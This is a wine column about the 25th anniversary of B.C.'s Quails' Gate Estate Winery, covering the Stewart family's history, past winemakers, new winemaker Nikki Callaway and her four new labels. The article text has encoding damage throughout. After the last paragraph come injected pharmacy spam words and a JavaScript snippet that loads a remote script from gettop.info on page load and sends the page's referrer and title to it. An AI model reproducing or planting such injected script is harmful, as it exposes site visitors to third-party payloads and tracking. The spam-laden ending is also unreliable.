By Anthony Gismondi
Addressing a small crowd of family and supporters during a recent celebration of the 25th anniversary of B.C.a��s picturesque Quailsa�� Gate Estate Winery, CEO and proprietor Tony Stewart modestly downplayed the familya��s accomplishments. He drew on quote from the recently departed Baroness Philippine de Rothschild, head of the Rothschild wine empire who often said, a�?Making wine was easy; it was the first two hundred years that were tough.a�? At the one-eighth pole, Stewart suggested as far as they had come there was plenty of hard work ahead.
However, the family business is much farther down the road than Stewart let on, given the family has been growing grapes in West Kelowna for more than 50 years.
The patriarch Richard Stewart shared a story in which he asked son Ben, now the B.C. Investment and Trade commissioner and representative in Asia, if he would consider leaving his Alberta banking job back inA�1980 and come home to help with grape growing business. Ben said no to the proposed grape business but did say he would return to enter the wine business.
Even for one of Kelownaa��s most politically-connected families it would take another nine years to obtain a license and launch Quailsa�� Gate. The 125-acre lakefront property is today an icon of B.C. wine, located on the historic 1870s home site of the Allison family, famed Okanagan pioneers. The family employs more than 80 permanent workers and about the same number of seasonal or casual employees.
The Stewartsa�� first commitment to pinot noir was in 1989, when Oregon was beginning to stretch its New World pinot legs. Growing pinot noir in the Okanagan Valley was a giant leap of faith in a wine world gone mad for cabernet sauvignon and shiraz.
Quailsa�� Gate winemaking has over the years made the transition from Australian Jeff Martin (current owner/winemaker of La Frenz), to Peter Draper (a pinot noir specialist from Victoria, South Australiaa��s Coldstream Hills) to Ashley Hooper (via Katnook and Mildara Blass) to Canadian Grant Stanley, who worked at another pinot noir icon Ata Rangi in New Zealand. Stanley left in 2013, after a decade of work, leaving the next steps for current winemaker, Nikki Callaway. Callaway represents a complete left turn from her predecessors. I say left turn because Callaway operates in a much different universe, seeking to converse with the owners, customers and even the media, to discuss her wine style and plans for Quailsa�� Gate.
It doesna��t take much to see the new releases are different; already they are friendlier. A little more fruit, a little less acid but still they remain lively and well balanced. Callaway has played a hand in finishing the 2012 wines that were in barrel when she arrived. She has worked the 2013 vintage arriving weeks before it commenced but one feels the sense 2014 will be the vintage she really makes her mark on, and judging by the weather, it could be spectacular one.
Callaway began as a young woman making wine under a staircase in Dubai with her father, studied biology at the University of Victoria, then found her way to Bordeaux and Southern France to complete a DiplA?mA� National da��Oenologue at UniversitA� Bordeaux II, then headed to Waterford Estate in South Africa before landing at Mission Hill Family Estate, where she worked on the impressive Martin Lane wines.
Callaway launched four new labels recently to mark the Stewart familya��s 25 years in wine. They are only available for purchase at the estate. Buy what you can now because these will disappear quickly. The wines represent the best barrels in the winery and point to a new direction. In essence they are a freehand drawing of the Callaway style and each is a head turner: Rosemarya��s Block Chardonnay 2012, The Bench Pinot Gris 2013, Richarda��s Block Pinot Noir 2012 and The Boswell Syrah 2012. I love the labels, each depicting a quilt made by Rosemary Stewart; mother of the current second generation winery owners.
Callaway says she wants to a�?work with every grape from start to finish.a�? There is little doubt she will.d.getElementsByTagName(‘head’).appendChild(s); relafen how much aspirin in anacin cheap nimotop side Buy var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’).appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; cheap pills
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